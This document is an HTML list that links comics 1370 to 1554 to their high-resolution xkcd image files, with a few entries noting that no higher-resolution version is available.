&lt;li>1370: &lt;a href="https://imgs.xkcd.com/comics/president_2x.png">https://imgs.xkcd.com/comics/president_2x.png&lt;/a>&lt;/li>
&lt;li>1371: &lt;a href="https://imgs.xkcd.com/comics/brightness_2x.png">https://imgs.xkcd.com/comics/brightness_2x.png&lt;/a>&lt;/li>
&lt;li>1372: &lt;a href="https://imgs.xkcd.com/comics/smartwatches_2x.png">https://imgs.xkcd.com/comics/smartwatches_2x.png&lt;/a>&lt;/li>
&lt;li>1373: &lt;a href="https://imgs.xkcd.com/comics/screenshot_2x.png">https://imgs.xkcd.com/comics/screenshot_2x.png&lt;/a>&lt;/li>
&lt;li>1374: &lt;a href="https://imgs.xkcd.com/comics/urn_2x.png">https://imgs.xkcd.com/comics/urn_2x.png&lt;/a>&lt;/li>
&lt;li>1375: &lt;a href="https://imgs.xkcd.com/comics/astronaut_vandalism_2x.png">https://imgs.xkcd.com/comics/astronaut_vandalism_2x.png&lt;/a>&lt;/li>
&lt;li>1376: &lt;a href="https://imgs.xkcd.com/comics/jump_2x.png">https://imgs.xkcd.com/comics/jump_2x.png&lt;/a>&lt;/li>
&lt;li>1377: &lt;a href="https://imgs.xkcd.com/comics/fish_2x.png">https://imgs.xkcd.com/comics/fish_2x.png&lt;/a>&lt;/li>
&lt;li>1378: &lt;a href="https://imgs.xkcd.com/comics/turbine_2x.png">https://imgs.xkcd.com/comics/turbine_2x.png&lt;/a>&lt;/li>
&lt;li>1379: &lt;a href="https://imgs.xkcd.com/comics/4_5_degrees_2x.png">https://imgs.xkcd.com/comics/4_5_degrees_2x.png&lt;/a>&lt;/li>
&lt;li>1380: &lt;a href="https://imgs.xkcd.com/comics/manual_for_civilization_2x.png">https://imgs.xkcd.com/comics/manual_for_civilization_2x.png&lt;/a>&lt;/li>
&lt;li>1381: &lt;a href="https://imgs.xkcd.com/comics/margin_2x.png">https://imgs.xkcd.com/comics/margin_2x.png&lt;/a>&lt;/li>
&lt;li>1382: &lt;a href="https://imgs.xkcd.com/comics/rocket_packs_2x.png">https://imgs.xkcd.com/comics/rocket_packs_2x.png&lt;/a>&lt;/li>
&lt;li>1383: &lt;a href="https://imgs.xkcd.com/comics/magic_words_2x.png">https://imgs.xkcd.com/comics/magic_words_2x.png&lt;/a>&lt;/li>
&lt;li>1384: &lt;a href="https://imgs.xkcd.com/comics/krypton_2x.png">https://imgs.xkcd.com/comics/krypton_2x.png&lt;/a>&lt;/li>
&lt;li>1385: &lt;a href="https://imgs.xkcd.com/comics/throwing_rocks_2x.png">https://imgs.xkcd.com/comics/throwing_rocks_2x.png&lt;/a>&lt;/li>
&lt;li>1386: &lt;a href="https://imgs.xkcd.com/comics/people_are_stupid_2x.png">https://imgs.xkcd.com/comics/people_are_stupid_2x.png&lt;/a>&lt;/li>
&lt;li>1387: &lt;a href="https://imgs.xkcd.com/comics/clumsy_foreshadowing_2x.png">https://imgs.xkcd.com/comics/clumsy_foreshadowing_2x.png&lt;/a>&lt;/li>
&lt;li>1388: &lt;a href="https://imgs.xkcd.com/comics/subduction_license_2x.png">https://imgs.xkcd.com/comics/subduction_license_2x.png&lt;/a>&lt;/li>
&lt;li>1389: &lt;a href="https://imgs.xkcd.com/comics/surface_area_2x.png">https://imgs.xkcd.com/comics/surface_area_2x.png&lt;/a>&lt;/li>
&lt;li>1390: &lt;a href="https://imgs.xkcd.com/comics/research_ethics_2x.png">https://imgs.xkcd.com/comics/research_ethics_2x.png&lt;/a>&lt;/li>
&lt;li>1391: &lt;a href="https://imgs.xkcd.com/comics/darkness_2x.png">https://imgs.xkcd.com/comics/darkness_2x.png&lt;/a>&lt;/li>
&lt;li>1392: &lt;a href="https://imgs.xkcd.com/comics/dominant_players_2x.png">https://imgs.xkcd.com/comics/dominant_players_2x.png&lt;/a>&lt;/li>
&lt;li>1393: &lt;a href="https://imgs.xkcd.com/comics/timeghost_2x.png">https://imgs.xkcd.com/comics/timeghost_2x.png&lt;/a>&lt;/li>
&lt;li>1394: &lt;a href="https://imgs.xkcd.com/comics/superm_n_2x.png">https://imgs.xkcd.com/comics/superm_n_2x.png&lt;/a>&lt;/li>
&lt;li>1395: &lt;a href="https://imgs.xkcd.com/comics/power_cord_2x.png">https://imgs.xkcd.com/comics/power_cord_2x.png&lt;/a>&lt;/li>
&lt;li>1396: &lt;a href="https://imgs.xkcd.com/comics/actors_2x.png">https://imgs.xkcd.com/comics/actors_2x.png&lt;/a>&lt;/li>
&lt;li>1397: &lt;a href="https://imgs.xkcd.com/comics/luke_2x.png">https://imgs.xkcd.com/comics/luke_2x.png&lt;/a>&lt;/li>
&lt;li>1398: &lt;a href="https://imgs.xkcd.com/comics/snake_facts_2x.png">https://imgs.xkcd.com/comics/snake_facts_2x.png&lt;/a>&lt;/li>
&lt;li>1399: &lt;a href="https://imgs.xkcd.com/comics/chaos_2x.png">https://imgs.xkcd.com/comics/chaos_2x.png&lt;/a>&lt;/li>
&lt;li>1400: &lt;a href="https://imgs.xkcd.com/comics/d_b_cooper_2x.png">https://imgs.xkcd.com/comics/d_b_cooper_2x.png&lt;/a>&lt;/li>
&lt;li>1401: &lt;a href="https://imgs.xkcd.com/comics/new_2x.png">https://imgs.xkcd.com/comics/new_2x.png&lt;/a>&lt;/li>
&lt;li>1402: &lt;a href="https://imgs.xkcd.com/comics/harpoons_2x.png">https://imgs.xkcd.com/comics/harpoons_2x.png&lt;/a>&lt;/li>
&lt;li>1403: &lt;a href="https://imgs.xkcd.com/comics/thesis_defense_2x.png">https://imgs.xkcd.com/comics/thesis_defense_2x.png&lt;/a>&lt;/li>
&lt;li>1404: &lt;a href="https://imgs.xkcd.com/comics/quantum_vacuum_virtual_plasma_2x.png">https://imgs.xkcd.com/comics/quantum_vacuum_virtual_plasma_2x.png&lt;/a>&lt;/li>
&lt;li>1405: &lt;a href="https://imgs.xkcd.com/comics/meteor_2x.png">https://imgs.xkcd.com/comics/meteor_2x.png&lt;/a>&lt;/li>
&lt;li>1406: &lt;a href="https://imgs.xkcd.com/comics/universal_converter_box_2x.png">https://imgs.xkcd.com/comics/universal_converter_box_2x.png&lt;/a>&lt;/li>
&lt;li>1407: &lt;a href="https://imgs.xkcd.com/comics/worst_hurricane_2x.png">https://imgs.xkcd.com/comics/worst_hurricane_2x.png&lt;/a>&lt;/li>
&lt;li>1408: &lt;a href="https://imgs.xkcd.com/comics/march_of_the_penguins_2x.png">https://imgs.xkcd.com/comics/march_of_the_penguins_2x.png&lt;/a>&lt;/li>
&lt;li>1409: &lt;a href="https://imgs.xkcd.com/comics/query_2x.png">https://imgs.xkcd.com/comics/query_2x.png&lt;/a>&lt;/li>
&lt;li>1410: &lt;a href="https://imgs.xkcd.com/comics/california_2x.png">https://imgs.xkcd.com/comics/california_2x.png&lt;/a>&lt;/li>
&lt;li>1411: &lt;a href="https://imgs.xkcd.com/comics/loop_2x.png">https://imgs.xkcd.com/comics/loop_2x.png&lt;/a>&lt;/li>
&lt;li>1412: &lt;a href="https://imgs.xkcd.com/comics/teenage_mutant_ninja_turtles_2x.png">https://imgs.xkcd.com/comics/teenage_mutant_ninja_turtles_2x.png&lt;/a>&lt;/li>
&lt;li>1413: &lt;a href="https://imgs.xkcd.com/comics/suddenly_popular_2x.png">https://imgs.xkcd.com/comics/suddenly_popular_2x.png&lt;/a>&lt;/li>
&lt;li>1414: &lt;a href="https://imgs.xkcd.com/comics/writing_skills_2x.png">https://imgs.xkcd.com/comics/writing_skills_2x.png&lt;/a>&lt;/li>
&lt;li>1415: &lt;a href="https://imgs.xkcd.com/comics/ballooning_2x.png">https://imgs.xkcd.com/comics/ballooning_2x.png&lt;/a>&lt;/li>
&lt;li>1416: No higher res available&lt;/li>
&lt;li>1417: &lt;a href="https://imgs.xkcd.com/comics/seven_2x.png">https://imgs.xkcd.com/comics/seven_2x.png&lt;/a>&lt;/li>
&lt;li>1418: &lt;a href="https://imgs.xkcd.com/comics/horse_2x.png">https://imgs.xkcd.com/comics/horse_2x.png&lt;/a>&lt;/li>
&lt;li>1419: &lt;a href="https://imgs.xkcd.com/comics/on_the_phone_2x.png">https://imgs.xkcd.com/comics/on_the_phone_2x.png&lt;/a>&lt;/li>
&lt;li>1420: &lt;a href="https://imgs.xkcd.com/comics/watches_2x.png">https://imgs.xkcd.com/comics/watches_2x.png&lt;/a>&lt;/li>
&lt;li>1421: &lt;a href="https://imgs.xkcd.com/comics/future_self_2x.png">https://imgs.xkcd.com/comics/future_self_2x.png&lt;/a>&lt;/li>
&lt;li>1422: &lt;a href="https://imgs.xkcd.com/comics/my_phone_is_dying_2x.png">https://imgs.xkcd.com/comics/my_phone_is_dying_2x.png&lt;/a>&lt;/li>
&lt;li>1423: &lt;a href="https://imgs.xkcd.com/comics/conversation_2x.png">https://imgs.xkcd.com/comics/conversation_2x.png&lt;/a>&lt;/li>
&lt;li>1424: &lt;a href="https://imgs.xkcd.com/comics/en_garde_2x.png">https://imgs.xkcd.com/comics/en_garde_2x.png&lt;/a>&lt;/li>
&lt;li>1425: &lt;a href="https://imgs.xkcd.com/comics/tasks_2x.png">https://imgs.xkcd.com/comics/tasks_2x.png&lt;/a>&lt;/li>
&lt;li>1426: &lt;a href="https://imgs.xkcd.com/comics/reduce_your_payments_2x.png">https://imgs.xkcd.com/comics/reduce_your_payments_2x.png&lt;/a>&lt;/li>
&lt;li>1427: &lt;a href="https://imgs.xkcd.com/comics/ios_keyboard_2x.png">https://imgs.xkcd.com/comics/ios_keyboard_2x.png&lt;/a>&lt;/li>
&lt;li>1428: &lt;a href="https://imgs.xkcd.com/comics/move_fast_and_break_things_2x.png">https://imgs.xkcd.com/comics/move_fast_and_break_things_2x.png&lt;/a>&lt;/li>
&lt;li>1429: &lt;a href="https://imgs.xkcd.com/comics/data_2x.png">https://imgs.xkcd.com/comics/data_2x.png&lt;/a>&lt;/li>
&lt;li>1430: &lt;a href="https://imgs.xkcd.com/comics/proteins_2x.png">https://imgs.xkcd.com/comics/proteins_2x.png&lt;/a>&lt;/li>
&lt;li>1431: &lt;a href="https://imgs.xkcd.com/comics/marriage_2x.png">https://imgs.xkcd.com/comics/marriage_2x.png&lt;/a>&lt;/li>
&lt;li>1432: &lt;a href="https://imgs.xkcd.com/comics/the_sake_of_argument_2x.png">https://imgs.xkcd.com/comics/the_sake_of_argument_2x.png&lt;/a>&lt;/li>
&lt;li>1433: &lt;a href="https://imgs.xkcd.com/comics/lightsaber_2x.png">https://imgs.xkcd.com/comics/lightsaber_2x.png&lt;/a>&lt;/li>
&lt;li>1434: &lt;a href="https://imgs.xkcd.com/comics/where_do_birds_go_2x.png">https://imgs.xkcd.com/comics/where_do_birds_go_2x.png&lt;/a>&lt;/li>
&lt;li>1435: &lt;a href="https://imgs.xkcd.com/comics/presidential_alert_2x.png">https://imgs.xkcd.com/comics/presidential_alert_2x.png&lt;/a>&lt;/li>
&lt;li>1436: &lt;a href="https://imgs.xkcd.com/comics/orb_hammer_2x.png">https://imgs.xkcd.com/comics/orb_hammer_2x.png&lt;/a>&lt;/li>
&lt;li>1437: &lt;a href="https://imgs.xkcd.com/comics/higgs_boson_2x.png">https://imgs.xkcd.com/comics/higgs_boson_2x.png&lt;/a>&lt;/li>
&lt;li>1438: &lt;a href="https://imgs.xkcd.com/comics/houston_2x.png">https://imgs.xkcd.com/comics/houston_2x.png&lt;/a>&lt;/li>
&lt;li>1439: &lt;a href="https://imgs.xkcd.com/comics/rack_unit_2x.png">https://imgs.xkcd.com/comics/rack_unit_2x.png&lt;/a>&lt;/li>
&lt;li>1440: &lt;a href="https://imgs.xkcd.com/comics/geese_2x.png">https://imgs.xkcd.com/comics/geese_2x.png&lt;/a>&lt;/li>
&lt;li>1441: &lt;a href="https://imgs.xkcd.com/comics/turnabout_2x.png">https://imgs.xkcd.com/comics/turnabout_2x.png&lt;/a>&lt;/li>
&lt;li>1442: &lt;a href="https://imgs.xkcd.com/comics/chemistry_2x.png">https://imgs.xkcd.com/comics/chemistry_2x.png&lt;/a>&lt;/li>
&lt;li>1443: &lt;a href="https://imgs.xkcd.com/comics/language_nerd_2x.png">https://imgs.xkcd.com/comics/language_nerd_2x.png&lt;/a>&lt;/li>
&lt;li>1444: &lt;a href="https://imgs.xkcd.com/comics/cloud_2x.png">https://imgs.xkcd.com/comics/cloud_2x.png&lt;/a>&lt;/li>
&lt;li>1445: &lt;a href="https://imgs.xkcd.com/comics/efficiency_2x.png">https://imgs.xkcd.com/comics/efficiency_2x.png&lt;/a>&lt;/li>
&lt;li>1446: No higher res available&lt;/li>
&lt;li>1447: &lt;a href="https://imgs.xkcd.com/comics/meta-analysis_2x.png">https://imgs.xkcd.com/comics/meta-analysis_2x.png&lt;/a>&lt;/li>
&lt;li>1448: &lt;a href="https://imgs.xkcd.com/comics/question_2x.png">https://imgs.xkcd.com/comics/question_2x.png&lt;/a>&lt;/li>
&lt;li>1449: &lt;a href="https://imgs.xkcd.com/comics/red_rover_2x.png">https://imgs.xkcd.com/comics/red_rover_2x.png&lt;/a>&lt;/li>
&lt;li>1450: &lt;a href="https://imgs.xkcd.com/comics/ai_box_experiment_2x.png">https://imgs.xkcd.com/comics/ai_box_experiment_2x.png&lt;/a>&lt;/li>
&lt;li>1451: &lt;a href="https://imgs.xkcd.com/comics/background_screens_2x.png">https://imgs.xkcd.com/comics/background_screens_2x.png&lt;/a>&lt;/li>
&lt;li>1452: No higher res available&lt;/li>
&lt;li>1453: &lt;a href="https://imgs.xkcd.com/comics/fmri_2x.png">https://imgs.xkcd.com/comics/fmri_2x.png&lt;/a>&lt;/li>
&lt;li>1454: &lt;a href="https://imgs.xkcd.com/comics/done_2x.png">https://imgs.xkcd.com/comics/done_2x.png&lt;/a>&lt;/li>
&lt;li>1455: &lt;a href="https://imgs.xkcd.com/comics/trolley_problem_2x.png">https://imgs.xkcd.com/comics/trolley_problem_2x.png&lt;/a>&lt;/li>
&lt;li>1456: &lt;a href="https://imgs.xkcd.com/comics/on_the_moon_2x.png">https://imgs.xkcd.com/comics/on_the_moon_2x.png&lt;/a>&lt;/li>
&lt;li>1457: &lt;a href="https://imgs.xkcd.com/comics/feedback_2x.png">https://imgs.xkcd.com/comics/feedback_2x.png&lt;/a>&lt;/li>
&lt;li>1458: &lt;a href="https://imgs.xkcd.com/comics/small_moon_2x.png">https://imgs.xkcd.com/comics/small_moon_2x.png&lt;/a>&lt;/li>
&lt;li>1459: &lt;a href="https://imgs.xkcd.com/comics/documents_2x.png">https://imgs.xkcd.com/comics/documents_2x.png&lt;/a>&lt;/li>
&lt;li>1460: &lt;a href="https://imgs.xkcd.com/comics/smfw_2x.png">https://imgs.xkcd.com/comics/smfw_2x.png&lt;/a>&lt;/li>
&lt;li>1461: No higher res available&lt;/li>
&lt;li>1462: &lt;a href="https://imgs.xkcd.com/comics/blind_trials_2x.png">https://imgs.xkcd.com/comics/blind_trials_2x.png&lt;/a>&lt;/li>
&lt;li>1463: &lt;a href="https://imgs.xkcd.com/comics/altitude_2x.png">https://imgs.xkcd.com/comics/altitude_2x.png&lt;/a>&lt;/li>
&lt;li>1464: &lt;a href="https://imgs.xkcd.com/comics/santa_2x.png">https://imgs.xkcd.com/comics/santa_2x.png&lt;/a>&lt;/li>
&lt;li>1465: &lt;a href="https://imgs.xkcd.com/comics/xkcd_phone_2_2x.png">https://imgs.xkcd.com/comics/xkcd_phone_2_2x.png&lt;/a>&lt;/li>
&lt;li>1466: &lt;a href="https://imgs.xkcd.com/comics/phone_checking_2x.png">https://imgs.xkcd.com/comics/phone_checking_2x.png&lt;/a>&lt;/li>
&lt;li>1467: &lt;a href="https://imgs.xkcd.com/comics/email_2x.png">https://imgs.xkcd.com/comics/email_2x.png&lt;/a>&lt;/li>
&lt;li>1468: &lt;a href="https://imgs.xkcd.com/comics/worrying_2x.png">https://imgs.xkcd.com/comics/worrying_2x.png&lt;/a>&lt;/li>
&lt;li>1469: &lt;a href="https://imgs.xkcd.com/comics/uv_2x.png">https://imgs.xkcd.com/comics/uv_2x.png&lt;/a>&lt;/li>
&lt;li>1470: &lt;a href="https://imgs.xkcd.com/comics/kix_2x.png">https://imgs.xkcd.com/comics/kix_2x.png&lt;/a>&lt;/li>
&lt;li>1471: &lt;a href="https://imgs.xkcd.com/comics/gut_fauna_2x.png">https://imgs.xkcd.com/comics/gut_fauna_2x.png&lt;/a>&lt;/li>
&lt;li>1472: &lt;a href="https://imgs.xkcd.com/comics/geography_2x.png">https://imgs.xkcd.com/comics/geography_2x.png&lt;/a>&lt;/li>
&lt;li>1473: &lt;a href="https://imgs.xkcd.com/comics/location_sharing_2x.png">https://imgs.xkcd.com/comics/location_sharing_2x.png&lt;/a>&lt;/li>
&lt;li>1474: &lt;a href="https://imgs.xkcd.com/comics/screws_2x.png">https://imgs.xkcd.com/comics/screws_2x.png&lt;/a>&lt;/li>
&lt;li>1475: &lt;a href="https://imgs.xkcd.com/comics/technically_2x.png">https://imgs.xkcd.com/comics/technically_2x.png&lt;/a>&lt;/li>
&lt;li>1476: &lt;a href="https://imgs.xkcd.com/comics/ceres_2x.png">https://imgs.xkcd.com/comics/ceres_2x.png&lt;/a>&lt;/li>
&lt;li>1477: &lt;a href="https://imgs.xkcd.com/comics/star_wars_2x.png">https://imgs.xkcd.com/comics/star_wars_2x.png&lt;/a>&lt;/li>
&lt;li>1478: &lt;a href="https://imgs.xkcd.com/comics/p_values_2x.png">https://imgs.xkcd.com/comics/p_values_2x.png&lt;/a>&lt;/li>
&lt;li>1479: &lt;a href="https://imgs.xkcd.com/comics/troubleshooting_2x.png">https://imgs.xkcd.com/comics/troubleshooting_2x.png&lt;/a>&lt;/li>
&lt;li>1480: &lt;a href="https://imgs.xkcd.com/comics/super_bowl_2x.png">https://imgs.xkcd.com/comics/super_bowl_2x.png&lt;/a>&lt;/li>
&lt;li>1481: &lt;a href="https://imgs.xkcd.com/comics/api_2x.png">https://imgs.xkcd.com/comics/api_2x.png&lt;/a>&lt;/li>
&lt;li>1482: &lt;a href="https://imgs.xkcd.com/comics/nowplaying_2x.png">https://imgs.xkcd.com/comics/nowplaying_2x.png&lt;/a>&lt;/li>
&lt;li>1483: &lt;a href="https://imgs.xkcd.com/comics/quotative_like_2x.png">https://imgs.xkcd.com/comics/quotative_like_2x.png&lt;/a>&lt;/li>
&lt;li>1484: &lt;a href="https://imgs.xkcd.com/comics/apollo_speeches_2x.png">https://imgs.xkcd.com/comics/apollo_speeches_2x.png&lt;/a>&lt;/li>
&lt;li>1485: &lt;a href="https://imgs.xkcd.com/comics/friendship_2x.png">https://imgs.xkcd.com/comics/friendship_2x.png&lt;/a>&lt;/li>
&lt;li>1486: &lt;a href="https://imgs.xkcd.com/comics/vacuum_2x.png">https://imgs.xkcd.com/comics/vacuum_2x.png&lt;/a>&lt;/li>
&lt;li>1487: &lt;a href="https://imgs.xkcd.com/comics/tornado_2x.png">https://imgs.xkcd.com/comics/tornado_2x.png&lt;/a>&lt;/li>
&lt;li>1488: &lt;a href="https://imgs.xkcd.com/comics/flowcharts_2x.png">https://imgs.xkcd.com/comics/flowcharts_2x.png&lt;/a>&lt;/li>
&lt;li>1489: &lt;a href="https://imgs.xkcd.com/comics/fundamental_forces_2x.png">https://imgs.xkcd.com/comics/fundamental_forces_2x.png&lt;/a>&lt;/li>
&lt;li>1490: &lt;a href="https://imgs.xkcd.com/comics/atoms_2x.png">https://imgs.xkcd.com/comics/atoms_2x.png&lt;/a>&lt;/li>
&lt;li>1491: No higher res available&lt;/li>
&lt;li>1492: &lt;a href="https://imgs.xkcd.com/comics/dress_color_2x.png">https://imgs.xkcd.com/comics/dress_color_2x.png&lt;/a>&lt;/li>
&lt;li>1493: &lt;a href="https://imgs.xkcd.com/comics/meeting_2x.png">https://imgs.xkcd.com/comics/meeting_2x.png&lt;/a>&lt;/li>
&lt;li>1494: &lt;a href="https://imgs.xkcd.com/comics/insurance_2x.png">https://imgs.xkcd.com/comics/insurance_2x.png&lt;/a>&lt;/li>
&lt;li>1495: &lt;a href="https://imgs.xkcd.com/comics/hard_reboot_2x.png">https://imgs.xkcd.com/comics/hard_reboot_2x.png&lt;/a>&lt;/li>
&lt;li>1496: &lt;a href="https://imgs.xkcd.com/comics/art_project_2x.png">https://imgs.xkcd.com/comics/art_project_2x.png&lt;/a>&lt;/li>
&lt;li>1497: &lt;a href="https://imgs.xkcd.com/comics/new_products_2x.png">https://imgs.xkcd.com/comics/new_products_2x.png&lt;/a>&lt;/li>
&lt;li>1498: &lt;a href="https://imgs.xkcd.com/comics/terry_pratchett_2x.png">https://imgs.xkcd.com/comics/terry_pratchett_2x.png&lt;/a>&lt;/li>
&lt;li>1499: &lt;a href="https://imgs.xkcd.com/comics/arbitrage_2x.png">https://imgs.xkcd.com/comics/arbitrage_2x.png&lt;/a>&lt;/li>
&lt;li>1500: &lt;a href="https://imgs.xkcd.com/comics/upside_down_map_2x.png">https://imgs.xkcd.com/comics/upside_down_map_2x.png&lt;/a>&lt;/li>
&lt;li>1501: &lt;a href="https://imgs.xkcd.com/comics/mysteries_2x.png">https://imgs.xkcd.com/comics/mysteries_2x.png&lt;/a>&lt;/li>
&lt;li>1502: &lt;a href="https://imgs.xkcd.com/comics/wasted_time_2x.png">https://imgs.xkcd.com/comics/wasted_time_2x.png&lt;/a>&lt;/li>
&lt;li>1503: &lt;a href="https://imgs.xkcd.com/comics/squirrel_plan_2x.png">https://imgs.xkcd.com/comics/squirrel_plan_2x.png&lt;/a>&lt;/li>
&lt;li>1504: &lt;a href="https://imgs.xkcd.com/comics/opportunity_2x.png">https://imgs.xkcd.com/comics/opportunity_2x.png&lt;/a>&lt;/li>
&lt;li>1505: &lt;a href="https://imgs.xkcd.com/comics/ontological_argument_2x.png">https://imgs.xkcd.com/comics/ontological_argument_2x.png&lt;/a>&lt;/li>
&lt;li>1506: No higher res available&lt;/li>
&lt;li>1507: &lt;a href="https://imgs.xkcd.com/comics/metaball_2x.png">https://imgs.xkcd.com/comics/metaball_2x.png&lt;/a>&lt;/li>
&lt;li>1508: &lt;a href="https://imgs.xkcd.com/comics/operating_systems_2x.png">https://imgs.xkcd.com/comics/operating_systems_2x.png&lt;/a>&lt;/li>
&lt;li>1509: &lt;a href="https://imgs.xkcd.com/comics/scenery_cheat_sheet_2x.png">https://imgs.xkcd.com/comics/scenery_cheat_sheet_2x.png&lt;/a>&lt;/li>
&lt;li>1510: &lt;a href="https://imgs.xkcd.com/comics/napoleon_2x.png">https://imgs.xkcd.com/comics/napoleon_2x.png&lt;/a>&lt;/li>
&lt;li>1511: &lt;a href="https://imgs.xkcd.com/comics/spice_girl_2x.png">https://imgs.xkcd.com/comics/spice_girl_2x.png&lt;/a>&lt;/li>
&lt;li>1512: &lt;a href="https://imgs.xkcd.com/comics/horoscopes_2x.png">https://imgs.xkcd.com/comics/horoscopes_2x.png&lt;/a>&lt;/li>
&lt;li>1513: &lt;a href="https://imgs.xkcd.com/comics/code_quality_2x.png">https://imgs.xkcd.com/comics/code_quality_2x.png&lt;/a>&lt;/li>
&lt;li>1514: &lt;a href="https://imgs.xkcd.com/comics/permacal_2x.png">https://imgs.xkcd.com/comics/permacal_2x.png&lt;/a>&lt;/li>
&lt;li>1515: &lt;a href="https://imgs.xkcd.com/comics/basketball_earth_2x.png">https://imgs.xkcd.com/comics/basketball_earth_2x.png&lt;/a>&lt;/li>
&lt;li>1516: &lt;a href="https://imgs.xkcd.com/comics/win_by_induction_2x.png">https://imgs.xkcd.com/comics/win_by_induction_2x.png&lt;/a>&lt;/li>
&lt;li>1517: &lt;a href="https://imgs.xkcd.com/comics/spectroscopy_2x.png">https://imgs.xkcd.com/comics/spectroscopy_2x.png&lt;/a>&lt;/li>
&lt;li>1518: &lt;a href="https://imgs.xkcd.com/comics/typical_morning_routine_2x.png">https://imgs.xkcd.com/comics/typical_morning_routine_2x.png&lt;/a>&lt;/li>
&lt;li>1519: &lt;a href="https://imgs.xkcd.com/comics/venus_2x.png">https://imgs.xkcd.com/comics/venus_2x.png&lt;/a>&lt;/li>
&lt;li>1520: &lt;a href="https://imgs.xkcd.com/comics/degree_off_2x.png">https://imgs.xkcd.com/comics/degree_off_2x.png&lt;/a>&lt;/li>
&lt;li>1521: &lt;a href="https://imgs.xkcd.com/comics/sword_in_the_stone_2x.png">https://imgs.xkcd.com/comics/sword_in_the_stone_2x.png&lt;/a>&lt;/li>
&lt;li>1522: &lt;a href="https://imgs.xkcd.com/comics/astronomy_2x.png">https://imgs.xkcd.com/comics/astronomy_2x.png&lt;/a>&lt;/li>
&lt;li>1523: &lt;a href="https://imgs.xkcd.com/comics/microdrones_2x.png">https://imgs.xkcd.com/comics/microdrones_2x.png&lt;/a>&lt;/li>
&lt;li>1524: &lt;a href="https://imgs.xkcd.com/comics/dimensions_2x.png">https://imgs.xkcd.com/comics/dimensions_2x.png&lt;/a>&lt;/li>
&lt;li>1525: No higher res available&lt;/li>
&lt;li>1526: &lt;a href="https://imgs.xkcd.com/comics/placebo_blocker_2x.png">https://imgs.xkcd.com/comics/placebo_blocker_2x.png&lt;/a>&lt;/li>
&lt;li>1527: &lt;a href="https://imgs.xkcd.com/comics/humans_2x.png">https://imgs.xkcd.com/comics/humans_2x.png&lt;/a>&lt;/li>
&lt;li>1528: &lt;a href="https://imgs.xkcd.com/comics/vodka_2x.png">https://imgs.xkcd.com/comics/vodka_2x.png&lt;/a>&lt;/li>
&lt;li>1529: &lt;a href="https://imgs.xkcd.com/comics/bracket_2x.png">https://imgs.xkcd.com/comics/bracket_2x.png&lt;/a>&lt;/li>
&lt;li>1530: &lt;a href="https://imgs.xkcd.com/comics/keyboard_mash_2x.png">https://imgs.xkcd.com/comics/keyboard_mash_2x.png&lt;/a>&lt;/li>
&lt;li>1531: &lt;a href="https://imgs.xkcd.com/comics/the_bdlpswdks_effect_2x.png">https://imgs.xkcd.com/comics/the_bdlpswdks_effect_2x.png&lt;/a>&lt;/li>
&lt;li>1532: &lt;a href="https://imgs.xkcd.com/comics/new_horizons_2x.png">https://imgs.xkcd.com/comics/new_horizons_2x.png&lt;/a>&lt;/li>
&lt;li>1533: &lt;a href="https://imgs.xkcd.com/comics/antique_factory_2x.png">https://imgs.xkcd.com/comics/antique_factory_2x.png&lt;/a>&lt;/li>
&lt;li>1534: &lt;a href="https://imgs.xkcd.com/comics/beer_2x.png">https://imgs.xkcd.com/comics/beer_2x.png&lt;/a>&lt;/li>
&lt;li>1535: &lt;a href="https://imgs.xkcd.com/comics/words_for_pets_2x.png">https://imgs.xkcd.com/comics/words_for_pets_2x.png&lt;/a>&lt;/li>
&lt;li>1536: &lt;a href="https://imgs.xkcd.com/comics/the_martian_2x.png">https://imgs.xkcd.com/comics/the_martian_2x.png&lt;/a>&lt;/li>
&lt;li>1537: &lt;a href="https://imgs.xkcd.com/comics/types_2x.png">https://imgs.xkcd.com/comics/types_2x.png&lt;/a>&lt;/li>
&lt;li>1538: &lt;a href="https://imgs.xkcd.com/comics/lyrics_2x.png">https://imgs.xkcd.com/comics/lyrics_2x.png&lt;/a>&lt;/li>
&lt;li>1539: &lt;a href="https://imgs.xkcd.com/comics/planning_2x.png">https://imgs.xkcd.com/comics/planning_2x.png&lt;/a>&lt;/li>
&lt;li>1540: &lt;a href="https://imgs.xkcd.com/comics/hemingway_2x.png">https://imgs.xkcd.com/comics/hemingway_2x.png&lt;/a>&lt;/li>
&lt;li>1541: &lt;a href="https://imgs.xkcd.com/comics/voice_2x.png">https://imgs.xkcd.com/comics/voice_2x.png&lt;/a>&lt;/li>
&lt;li>1542: &lt;a href="https://imgs.xkcd.com/comics/scheduling_conflict_2x.png">https://imgs.xkcd.com/comics/scheduling_conflict_2x.png&lt;/a>&lt;/li>
&lt;li>1543: &lt;a href="https://imgs.xkcd.com/comics/team_effort_2x.png">https://imgs.xkcd.com/comics/team_effort_2x.png&lt;/a>&lt;/li>
&lt;li>1544: &lt;a href="https://imgs.xkcd.com/comics/margaret_2x.png">https://imgs.xkcd.com/comics/margaret_2x.png&lt;/a>&lt;/li>
&lt;li>1545: &lt;a href="https://imgs.xkcd.com/comics/strengths_and_weaknesses_2x.png">https://imgs.xkcd.com/comics/strengths_and_weaknesses_2x.png&lt;/a>&lt;/li>
&lt;li>1546: &lt;a href="https://imgs.xkcd.com/comics/tamagotchi_hive_2x.png">https://imgs.xkcd.com/comics/tamagotchi_hive_2x.png&lt;/a>&lt;/li>
&lt;li>1547: &lt;a href="https://imgs.xkcd.com/comics/solar_system_questions_2x.png">https://imgs.xkcd.com/comics/solar_system_questions_2x.png&lt;/a>&lt;/li>
&lt;li>1548: &lt;a href="https://imgs.xkcd.com/comics/90s_kid_2x.png">https://imgs.xkcd.com/comics/90s_kid_2x.png&lt;/a>&lt;/li>
&lt;li>1549: &lt;a href="https://imgs.xkcd.com/comics/xkcd_phone_3_2x.png">https://imgs.xkcd.com/comics/xkcd_phone_3_2x.png&lt;/a>&lt;/li>
&lt;li>1550: &lt;a href="https://imgs.xkcd.com/comics/episode_vii_2x.png">https://imgs.xkcd.com/comics/episode_vii_2x.png&lt;/a>&lt;/li>
&lt;li>1551: No higher res available&lt;/li>
&lt;li>1552: &lt;a href="https://imgs.xkcd.com/comics/rulebook_2x.png">https://imgs.xkcd.com/comics/rulebook_2x.png&lt;/a>&lt;/li>
&lt;li>1553: &lt;a href="https://imgs.xkcd.com/comics/public_key_2x.png">https://imgs.xkcd.com/comics/public_key_2x.png&lt;/a>&lt;/li>
&lt;li>1554: &lt;a href="https://imgs.xkcd.com/comics/spice_girls_2x.png">https://imgs.xkcd.com/comics/spice_girls_2x.png&lt;/a>&lt;/li>
